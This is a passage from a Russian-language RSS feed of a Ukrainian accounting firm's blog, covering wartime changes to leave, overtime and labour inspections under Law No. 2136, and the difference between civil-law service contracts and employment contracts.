<p>Часть вторая <a href="https://docs.dtkt.ua/doc/2136-20#st9" target="_blank" rel="noopener">ст. 9 Закона №2136</a> изъяли. А именно она разрешала работников, имеющих детей (кроме случаев, определенных статьей 8 настоящего Закона о ночных работах для женщин и лиц с инвалидностью), в период действия военного положения привлекать по их согласию к ночным и сверхурочным работам, работ в выходные, праздничные и нерабочие дни, направляться в командировку.</p>
<p>После вступления в силу нового закона – такого права у работодателя не будет.</p>
<p>&nbsp;</p>
<p><strong>А что с отпусками?</strong></p>
<p>Нормы <a href="https://docs.dtkt.ua/doc/2136-20#st12" target="_blank" rel="noopener">ст. 12</a> по ежегодным отпускам тоже не забыли обновить. Однако как!</p>
<p>Сейчас эта статья говорит достаточно императивно: в период действия военного положения ежегодный основной оплачиваемый отпуск предоставляется работникам продолжительностью 24 календарных дня. И никаких вариантов!</p>
<p>Но работодатели на практике и некоторые официальные органы не согласны были действовать в таких жестких пределах, особенно, если отпуска заработаны и средства на их оплату есть.</p>
<p>Поэтому эту норму обновили: в период действия военного положения предоставление работнику ежегодного основного отпуска по решению работодателя <strong>может быть</strong> ограничено продолжительностью 24 календарных дня за текущий рабочий год. То есть решение оставили за работодателем.</p>
<p>При этом, если продолжительность ежегодного основного отпуска работника составляет более 24 календарных дней (внимание, педагоги!), предоставление неиспользованных в период действия военного положения дней такого отпуска переносится на период после прекращения или отмены военного положения.</p>
<p>То есть, если ежегодный основной отпуск за 2022 год по закону больше 24 дней, то его могут как предоставить сейчас, во время войны, так и предоставить частично – в пределах этих 24 дней, с сохранением права отгулять такой отпуск после войны.</p>
<p>А что касается ранее заработанных отпусков, то в период действия военного положения работодатель сможет отказать работнику в предоставлении неиспользованных дней ежегодного отпуска. То есть опять же это остается на усмотрение работодателя.</p>
<p>При этом нормы части седьмой <a href="https://docs.dtkt.ua/doc/322-08?page=3#st79" target="_blank" rel="noopener">статьи 79</a>, части пятой статьи 80 КЗоТ и части пятой <a href="https://docs.dtkt.ua/doc/504/96-%D0%92%D0%A0#st11" target="_blank" rel="noopener">статьи 11</a>, части второй <a href="https://docs.dtkt.ua/doc/504/96-%D0%92%D0%A0#st12" target="_blank" rel="noopener">статьи 12</a> Закон &quot;Об отпусках&quot; в период действия военного положения не применяются. А в случае увольнения работника в период действия военного положения ему выплачивается денежная компенсация в соответствии со статьей 24 Закона об отпусках.</p>
<p>Как и раньше, работодатель может отказать работнику в предоставлении любого вида отпусков (кроме отпуска по беременности и родам и отпуска по уходу за ребенком до достижения им трехлетнего возраста), если такой работник привлечен к выполнению работ на объектах критической инфраструктуры.</p>
<p>Но есть и новое: в период действия военного положения работодатель по заявлению работника, выехавшего за пределы территории Украины или приобретший статус внутренне перемещенного лица, в обязательном порядке предоставляет ему отпуск без сохранения заработной платы продолжительностью, определенной в заявлении, но не более 90 календарных дней, без зачисления времени пребывания в отпуске до стажа, пунктом 4 части первой 9 Закона об отпусках.</p>
<p>&nbsp;</p>
<p><strong>Как будут контролировать исполнение трудового законодательства?</strong></p>
<p>Для этого Закон №2136 дополнят новой статьей 16 такого содержания.</p>
<p>В период действия военного положения центральный орган исполнительной власти, реализующий государственную политику по вопросам надзора и контроля за соблюдением законодательства о труде, и его территориальные органы могут осуществлять по заявлению работника или профсоюза внеплановые меры государственного надзора (контроля) за соблюдением законодательства о труде юридическими лицами независимо от формы собственности, вида деятельности, части соблюдения требований настоящего Закона, а также по выявлению неоформленных трудовых отношений и законности прекращения трудовых договоров.</p>
<p>Внеплановые мероприятия государственного надзора (контроля) осуществляются в порядке, установленном <a href="https://docs.dtkt.ua/doc/877-16" target="_blank" rel="noopener">Законом &quot;Об основных принципах государственного надзора (контроля) в сфере хозяйственной деятельности&quot;</a>, с учетом особенностей, определенных настоящим Законом.</p>
<p>Внеплановые меры государственного надзора (контроля) в период действия военного положения осуществляются:</p>
<ul>
<li>при наличии оснований, определенных абзацами пятым, восьмым, девятым, десятым части первой статьи 6 Закона &quot;Об основных принципах государственного надзора (контроля) в сфере хозяйственной деятельности&quot;;</li>
<li>за обращением Киевской городской военной администрации или областной военной администрации;</li>
<li>в связи с невыполнением предприятием предписаний об устранении нарушений требований законодательства, выданных после 1 мая 2022 года.</li>
</ul>
<p>В период действия военного положения при выполнении в полном объеме и в установленный срок предписаний об устранении нарушений, выявленных во время осуществления внеплановых мер государственного надзора (контроля), <strong>штрафы, предусмотренные <a href="https://docs.dtkt.ua/doc/322-08?page=7#st265" target="_blank" rel="noopener">статьей 265 КЗоТ</a>, не применяются</strong>!</p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/zminy-do-voyenno-trudovogo-zakonovodstva/">Зміни до воєнно-трудового законодавства</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/zminy-do-voyenno-trudovogo-zakonovodstva/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Что нужно знать о договорах ЦПХ/ГПХ</title>
		<link>http://assets-buh.com.ua/ru/dogovora_cph/</link>
					<comments>http://assets-buh.com.ua/ru/dogovora_cph/#respond</comments>
		
		<dc:creator><![CDATA[it4u]]></dc:creator>
		<pubdate>Sun, 02 May 2021 09:03:09 +0000</pubdate>
				<category><![CDATA[Кадри]]></category>
		<category><![CDATA[ТОВ]]></category>
		<category><![CDATA[Усі]]></category>
		<category><![CDATA[ФОП]]></category>
		<category><![CDATA[Бухгалтерия Киев]]></category>
		<category><![CDATA[ООО]]></category>
		<category><![CDATA[Регистрация предприятия]]></category>
		<guid ispermalink="false">https://assets-buh.com.ua/?p=1252</guid>

					<description><![CDATA[<p>Прежде всего, давайте определимся с понятиями. ЦПХ и ГПХ &#8211; это одно и то же. ЦПХ &#8211; от украинского &#8220;цивільно-правового характеру&#8221;. ГПХ &#8211; гражданско-правового характера. 1.В чем отличие трудового договора от договора ЦПХ/ГПХ?  По трудовому договору сотрудник работает в штате компании. Он подчиняется графику и внутреннему распорядку работы, работает на отведенном его рабочем месте. Трудовой [&#8230;]</p>
<p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/dogovora_cph/">Что нужно знать про договора ЦПХ/ГПХ</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><span style="font-family: georgia, palatino, serif; font-size: 14pt;">Прежде всего, давайте определимся с понятиями.<br />
ЦПХ и ГПХ – это одно и то же. ЦПХ – вот украинского &quot;гражданско-правового характера&quot;. </span><span style="font-family: georgia, palatino, serif; font-size: 14pt;">ГПХ – гражданско-правовой характер.</span></p>
<h3><span style="font-family: georgia, palatino, serif; font-size: 14pt;"><b>1.В чем отличие трудового контракта от контракта ЦПХ/ГПХ? </b></span></h3>
<h4><span style="font-family: georgia, palatino, serif; font-size: 14pt;"><b>По трудовому договору </b><span style="font-weight: 400;">Сотрудник работает в штате компании. Он подчиняется графику и внутреннему распорядку работы, работает на отведенном его рабочем месте. Трудовой контракт может быть как со сроком, к примеру в год, так и бессрочным. Другими словами, человек работает по трудовой книжке. В таком случае предприятие обязано:<br />
</span></span><span style="font-family: georgia, palatino, serif; font-size: 14pt;"><span style="font-weight: 400;">– выплачивать ему ежемесячно зарплату,<br />
– обеспечить социальные гарантии: отпуск раз в год, больничные, индексация заработной платы. </span></span></h4>
<p><span style="font-family: georgia, palatino, serif; font-size: 14pt;">Тогда как<b> Договор ЦПХ или ГПХ</b><span style="font-weight: 400;"> &#8211; </span><span style="font-weight: 400;"> подразумевает, что человек является подрядчиком:<br />
</span><span style="font-weight: 400;"> – выполняет разовые работы,<br />
</span><span style="font-weight: 400;">– не зависит от графика работы в компании,<br />
– оплату получает по договоренности за проделанную работу.<br />
По договору ГПХ не может работать продавец и кассир.</span></span></p>
<h3><span style="font-family: georgia, palatino, serif; font-size: 14pt;"><b>2.Понятие “трудовые дела”.</b></span></h3>
<p><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">По трудовому договору сотрудник состоит в трудовых отношениях с компанией, а по договору ЦПХ – нет.<br />
</span><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">Если трактовать понятие трудовых отношений в целом, то под них попадут и ГПХ, но мы рассматриваем это понятие с точки зрения инспектора Гоструда. Предположим, вы оформили продавца по договору ГПХ и он работает у вас в течение года. Впоследствии, при проверке Гоструда инспектор выявит признаки трудовых отношений, попадающих под трудовой договор, а не ГПХ.<br />
Следовательно, в этом случае выпишут штраф за сокрытие трудовых отношений.</span></p>
<h3><span style="font-family: georgia, palatino, serif; font-size: 14pt;"><b>3.Признаки трудовых отношений</b><span style="font-weight: 400;">.<br />
Законопроект № </span><span style="font-weight: 400;">5054 от 09.02.2021</span><span style="font-weight: 400;">, где хотели утвердить эти признаки не подписали.<br />
Однако по этим признакам и раньше выявляли скрытые трудовые отношения: </span></span></h3>
<ol>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">выполнение работы по конкретной должности по поручению лица, в интересах которого выполняются работы;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">регулирование процесса труда, который носит неизменный характер и не предполагает определенного результата за определенный период;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">выполнение работы в определенном рабочем месте с соблюдением правил трудового распорядка;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">организация условий труда “работодателем” (предоставление оборудования, инструментов, материалов, рабочего места)</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">систематическая выплата человеку, выполняющему работу;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">наличие точного графика рабочего времени и времени отдыха;</span></li>
<li style="font-weight: 400;" aria-level="1"><span style="font-weight: 400; font-family: georgia, palatino, serif; font-size: 14pt;">возмещения поездок и других финансовых затрат, связанных с выполнением работы.</span></li>
</ol>
<h3><span style="font-family: georgia, palatino, serif; font-size: 14pt;"><b>Результат</b><span style="font-weight: 400;">. </span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">1.Оформить контракт ГПХ имеет смысл тогда, когда человек вправду оказывает разовые работы либо сервисы, либо с редкой периодичностью. </span><span style="font-weight: 400;"><br />
</span><span style="font-weight: 400;">2.Есть риск штрафов при проверке. К примеру, швея может оказывать сервисы по договору ГПХ, но если она приходит на место работодателя ежедневно с 09.00 до 18.00 в течение года, то при проверке сходу выявят трудовые дела.</span></span></h3>
<p>&nbsp;</p>
<p><span style="color: #008000;"><strong>Больше информации о ФЛП и ООО можно посмотреть на канале Анны Куровской. <a href="https://www.youtube.com/channel/UCLFF3ohZngM6oPe00LT3RWg" target="_blank" rel="noopener">Перейти к каналу. </a></strong></span></p>
<p><span style="color: #3366ff;"><strong>Наш телеграмм канал <a href="https://t.me/assets_buh" target="_blank" rel="noopener">здесь</a></strong></span></p>
<p><span style="color: #800000;"><strong>Если Вам нужна платная консультация или вы ищете бухгалтера для сопровождения ФОП или ООО, звоните: 063-407-48-71.</strong></span></p><p>The post <a rel="nofollow" href="http://assets-buh.com.ua/ru/dogovora_cph/">Что нужно знать про договора ЦПХ/ГПХ</a> appeared first on <a rel="nofollow" href="https://assets-buh.com.ua/ru">Assets</a>.</p>
]]></content:encoded>
					
					<wfw:commentrss>http://assets-buh.com.ua/ru/dogovora_cph/feed/</wfw:commentrss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>